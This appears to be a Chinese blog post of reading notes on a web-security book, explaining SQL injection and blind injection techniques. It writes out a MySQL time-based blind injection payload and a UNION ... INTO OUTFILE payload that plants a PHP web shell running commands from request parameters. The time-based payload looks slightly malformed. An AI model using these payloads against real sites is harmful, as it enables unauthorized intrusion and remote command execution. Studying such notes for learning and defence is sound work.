《白帽子讲Web安全》读书笔记(二)

服务器端应用安全

0x01:注入攻击

注入攻击的本质:把用户输入的数据当作代码执行。两个关键条件,第一,用户能够控制输入,第二是原本的程序要执行的代码,拼接了用户输入的数据

一些注入学习笔记:

sql-labs  https://www.cnblogs.com/liqik/p/12861046.html

https://www.cnblogs.com/liqik/p/12828700.html

https://www.cnblogs.com/liqik/p/12602311.html

报错注入  https://www.cnblogs.com/liqik/p/11436519.html

1.1 盲注

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

1.1.1 时间盲注

在Mysql中,有benchmark()函数,用于测试函数性能

benchmark(count,expr)  //将表达式expr执行count次,通过时间长短的变化,可以判断出注入语句是否执行成功
?id=1111 union select if(substr(current,1,1)=char(119),benchmark(5000000,encode('MSG','by 5 seconds')),null) from (select database() as current() as tb1);

PostgreSQL数据库中的  PG_SLEEP(5)或generate_series(1,10000000)

MS SQL Server 数据中的 waitfor delay '0:0:5'   也能造成延时

SQL注入写入webshell

?id = 1111 union select "<? system($_REQUEST['cmd']); ?>",2,3,4 into outfile "/var/www/html/temp/shell.php" #
或者

select '一句话' into dumpfile '路径'

dumpfile适合二进制文件

outfile适合文本文件

条件:

root权限以及网站的绝对路径。

 未完。。。。。。

finished

猜你喜欢

转载自www.cnblogs.com/liqik/p/12904700.html